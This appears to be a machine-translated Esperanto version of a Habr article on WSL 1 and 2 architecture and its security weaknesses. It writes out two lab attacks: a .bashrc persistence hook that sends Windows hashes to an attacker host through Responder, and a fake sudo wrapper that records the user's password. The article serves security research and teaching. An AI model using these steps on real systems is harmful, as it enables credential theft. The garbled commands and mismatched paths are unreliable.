WSL-eksperimentoj. Parto 1

Saluton, habr! OTUS lanĉas novan kursfluon en oktobro "Linuksa Sekureco". Antaŭvide de la komenco de la kurso, ni dividas kun vi artikolon verkitan de unu el niaj instruistoj, Aleksandr Kolesnikov.

WSL-eksperimentoj. Parto 1

En 2016, Microsoft prezentis la novan WSL-teknologion al la IT-komunumo (Winterne Ssubsistemo por Linux), kiu estonte ebligis unuigi antaŭe nepacigeblajn konkurantojn, kiuj batalis por populareco inter kaj ordinaraj kaj progresintaj OS-uzantoj: Vindozo kaj Linukso. Ĉi tiu teknologio ebligis uzi Linuksan OS ilojn en Vindoza medio sen neceso ruli Linukson, ekzemple, uzante Multi-boot. Ĉe Habr vi povas trovi grandan nombron da artikoloj priskribantaj la avantaĝojn de uzado de WSL. Tamen, bedaŭrinde, en la momento de la kreo de ĉi tiu artikolo, neniuj studoj pri la sekureco de tia simbiozo de operaciumoj estis trovitaj sur ĉi tiu rimedo. Ĉi tiu afiŝo estos provo korekti ĉi tion. La artikolo parolos pri la trajtoj de la arkitekturoj WSL 1 kaj 2 kaj ekzamenos plurajn ekzemplojn de atakoj kontraŭ sistemoj uzantaj ĉi tiujn teknologiojn. La artikolo estas dividita en 2 partojn. La unua provizos la ĉefajn teoriajn atakmetodojn de Linukso kaj Vindozo. La dua artikolo implikos starigi testan medion kaj reprodukti la atakojn.

WSL 1: arkitekturaj trajtoj

Por la plej preciza plonĝo en sekurecproblemojn de WSL, necesas determini la ĉefajn nuancojn asociitajn kun la efektivigo de la subsistemo. Unu el la ĉefaj uzanttaskoj solvitaj de WSL estas la kapablo labori per Linukso-terminalo sur gastiganto funkcianta Windows OS. Ankaŭ, la kongruo ofertita estis tiel indiĝena ke Linuksaj ruleblaj (ELF) povus esti rulitaj rekte sur Vindoza sistemo. Por atingi ĉi tiujn celojn, speciala subsistemo estis kreita en Vindozo 10, kiu ebligas al vi ruli Linuksajn aplikaĵojn uzante aron da specifaj sistemaj alvokoj - tiel oni provis mapi aron da Linuksaj syscalls en Vindozo. Tio estis fizike efektivigita aldonante novajn ŝoforojn kaj novan procezformaton. Vide la arkitekturo aspektis jene:

WSL-eksperimentoj. Parto 1

Fakte, interago kun la Linukso operaciumo estis organizita per pluraj kernaj moduloj kaj speciala speco de procezo - pico. De la supra diagramo, vi povas vidi, ke la procezo kuranta sur la Linukso-instanco sur la gastiganto devas esti indiĝena kaj devas uzi la samajn rimedojn kiel regulaj Vindozaj aplikoj. Sed kiel atingi ĉi tion? En projekto Levponto Procezaj konceptoj por Vindozo estis evoluigitaj kiuj disponigis ĉiujn necesajn komponentojn de la operaciumo (depende de ĝia versio) por ruli aplikon de alia OS.

Notu, ke la proponita abstraktado ebligis ne koncentriĝi sur la operaciumo (precipe, Vindozo), en kiu la procezo de alia OS estas atendita lanĉi, kaj sugestis ĝeneralan aliron.

Tiel, ajna aplikaĵo ene de la pico-procezo povus funkcii sen konsidero al la Vindoza kerno:

  1. Problemoj de kongruo kaj tradukado de sistemaj vokoj devas esti solvitaj de specialaj provizantoj;
  2. Alirkontrolo devas esti farita per la Sekureca Monitoro. La monitoro situas en la kerno kaj tial Vindozo bezonis ĝisdatigon en la formo de nova pelilo kiu povus funkcii kiel provizanto por tiaj procezoj. Prototipa pikoprocezo estas skeme prezentita malsupre:

WSL-eksperimentoj. Parto 1

Ĉar la Linukso-dosiersistemo uzas uskle-distintajn dosierojn kaj dosierujojn, 2 specoj de dosiersistemoj estis aldonitaj al Vindozo por labori kun WSL - VolFS kaj DriveFS. VolFS estas efektivigo de la Linukso-dosiersistemo, DriveFS estas dosiersistemo kiu funkcias laŭ Vindozaj reguloj, sed havas la kapablon elekti usklecon.

WSL 2

WSL 1 havis kelkajn limigojn, kiuj ne permesis uzi ĝin por solvi la maksimuman gamon da taskoj: ekzemple, ĝi ne havis la kapablon ruli 32-bitajn Linuksajn aplikaĵojn, kaj estis neeble uzi aparatajn ŝoforojn. Tial, en 2020, WSL 2 estis publikigita, kiu ŝanĝis la aliron al konstruado de la subsistemo. WSL 2 estas optimumigita virtuala maŝino kiu kongruas kun la resursaj konsumkarakterizaĵoj de WSL 1. Nun, depende de la problemoj solvitaj de la uzanto de Windows OS, vi povas elekti la bezonatan version de la Linukso-subsistemo. Por mildigi eblajn vundeblecojn, WSL 2 estis efektivigita surbaze de Hyper-V en Windows 10. En ĉi tiu formo, Vindozo havas la kapablon ruli la Linukso-operaciuman kernon izole. Indas memori, ke versio 1 de WSL estis lanĉita kiel beta-trajto, kiu laŭsupoze montris la direkton de Vindoza evoluo en ĉi tiu areo, do la transiro al Hyper-V estis neevitebla. La fina arkitekturo aspektas jene:

WSL-eksperimentoj. Parto 1

En ĉi tiu versio, la Vindozaj kaj Linukso-kernoj havas siajn proprajn rimedojn kaj la intersekco ekzistas nur en la dosiersistemo, sed ĉi tiu intersekco ne estas kompleta. Interago inter dosiersistemoj estas efektivigita per kliento-servila envolvaĵo kiu funkcias uzante la 9P protokolon.

Hodiaŭ Microsoft disponigas la kapablon ŝanĝi inter WSL 1 kaj WSL 2. Ambaŭ versioj estas disponeblaj por uzo.

WSL Sekureco

Nuntempe, ekzistas pluraj verkoj priskribantaj iujn alirojn al uzado de legitimaj OS-iloj por ataki la komunikadon inter subsistemoj. Ni uzos iliajn skriptojn por kontroli la gravecon de la atakoj en la momento de la skribado. Ĝenerala listo de atakoj kaj scenaroj:

1. Efektivigo de dosiersistemo: alirrajtoj, havebleco de komunaj dosierujoj/mekanismoj de interŝanĝo de datumoj.

Esploro estis farita por determini malobservojn de alirreguloj de Linukso FS->Vindozo FS, Vindozo FS->Linukso FS. Esplorado pruvis la kapablon modifi antaŭfiksitan dosieron ene de la cela OS. Provoj ankaŭ estis faritaj por anstataŭigi, krei duplikatojn kaj forigi parton de la dosiersistemoj.

Scenaro:

  • A. Atako de la Vindoza operaciumo - modifo de dosieroj el la dosierujo /etc de la Linux OS.
  • B. Atako de la Linukso operaciumo - modifo de dosieroj en dosierujoj: C:Windows, C:Program Files, C:Users<User>

2. Efektivigo de la reto stako.

La esplorado estis farita uzante ekzemplojn de atakoj de la Linukso operaciumo sur Vindozo. La trajtoj de la reto stako estis uzataj, nome aŭtentikigmekanismoj sur diversaj rimedoj.

Scenaro:

  • Malferma aliro al haveno, kiu estas okupata en Vindoza sistemo
  • Malfermo de haveno sen la taŭgaj rajtoj
  • Kurante inversan ŝelon uzante elf-dosieron sur Vindoza operaciumo.

3. Kaŝi la lanĉon de malicaj programaj procezoj uzante la WSL-subsistemon.

La esplorado baziĝis sur simpla fakto - sekurecaj subsistemoj ne povas kapti eventojn en alia kerno, kiu funkcias uzante legitiman provizanton de la operaciumo en la kazo de WSL 1. En la kazo de WSL 2, ne ekzistas maniero vidi eventojn okazantajn. en aparta kerno ene de malpeza virtuala maŝino.

Scenaro:

1) Lanĉu la aplikaĵon por fora aliro al la sistemo kaj rigardu la registritajn eventojn.

WSL 1-eksperimentoj: hash-interkapto (Vindozo)

Fine ni alvenis al la praktika parto. Unue, vi devas agordi la testan medion. Ĉiuj eksperimentoj estos faritaj sur benko kun instalita Windows 10 2004. La bildo de Ubuntu 18.04 estis elektita kiel la mastruma bildo por WSL. La bildo estis elektita hazarde, kaj iu ajn alia funkcios same. Komandoj por starigi standon:

Vi devas unue lanĉi powershell.exe kiel administranto.

Por WSL 1 vi devas ruli la komandojn:

  1. Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Включить функцию WSL
  2. Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804

-OutFile ~/Ubuntu.appx -UseBasicParsing #Загрузить образ Linux из магазина Microsoft

  • Ubuntu.appx install —root #Установим образ
  • Возможно, придется прокликать процесс настройки и создать нового пользователя, который будет иметь меньше прав, чем root. Для наших тестов это будет обычный пользователь sam.
  • Restart-Computer #Перезагрузим
  • Post rekomenco de la stando, vi povas voki la bash-komandon. Se ĉio funkciis ĝuste, vi vidos eligon similan al ĉi tio en la Vindoza konzolo:

    WSL-eksperimentoj. Parto 1

    Ni uzos la distribuon Kali Linukson kiel la maŝinon de la atakanto; ĉiuj maŝinoj devas esti en la sama loka reto.

    Ni supozu, ke ni havas senprivilegian aliron al WSL sur Vindoza maŝino. Ni provu ataki la Linuksan operaciumon per vokado de komando de Linukso. Por efektivigi la atakon, ni uzos simplan aŭtomatan teknikon - ni aldonos nian skripton por ekzekuto en la Linukso-medio. Por fari tion, vi devas ŝanĝi la dosieron .bashrc.

    Sur maŝino kun WSL ni plenumas:

    	1. bash
    	2. Переходим в домашнюю директорию пользователя: cd /home/sam/
    	2. echo  «/home/sam/.attack.sh» >> .bashrc
    	3. echo «icalcs.exe » \\\\attacker_ip\\shareName\\» > /dev/null 2>&1» >> .attack.sh
    	4. chmod u+x .attack.sh
    	5. exit

    Sur Kali-Linuksa maŝino ni kuras:

    1. Responder -I eth0 -rdvw

    Sur Vindoza maŝino, ni lanĉu bash.

    Ni atendas la rezulton sur la Kali-Linuksa maŝino:

    WSL-eksperimentoj. Parto 1

    Tiel, ni akiris la Windows-uzanthaŝojn per la WSL-subsistemo per ekzekuto de la komando sur la Linuksa sistemo.

    WSL 1-eksperimentoj: akiri uzantan pasvorton (Linukso OS)

    Ni faru unu plian eksperimenton. Dum ĉi tiu kontrolo ni aldonos al la dosiero .bashrc plurajn komandojn por akiri la pasvorton de la uzanto de Linukso operaciumo.

    Ni lanĉu bash kaj enigu la komandojn:

    1. mkdir .hidden
    2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
    3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
    4. echo "echo """ >> .mysudo/sudo
    5. echo "sleep 2" >> .mysudo/sudo
    6. echo "echo "Sorry, try again."" >> .mysudo/sudo
    7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo
    8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
    9. chmod +x .mysudo/sudo
    10. exit

    Por sukcese plenumi la atakon, la uzanto Sam devas voki sudo en la Linuksa terminalo. Post tio, la pasvorto de la uzanto de Linux OS estos en la dosiero pass.txt:

    WSL-eksperimentoj. Parto 1

    La efektivigo de la atakoj ricevis nur por teoriaj informoj.

    La sekva parto de la artikolo priskribos la efektivigon de la protokolo 9P, konsideros la kreadon de skanilo por ĉi tiu protokolo kaj ankaŭ faros atakon uzante ĝin.

    Listo de uzita literaturo

    WSL-eksperimentoj. Parto 1

    Legu pli

    fonto: www.habr.com

    Aldoni komenton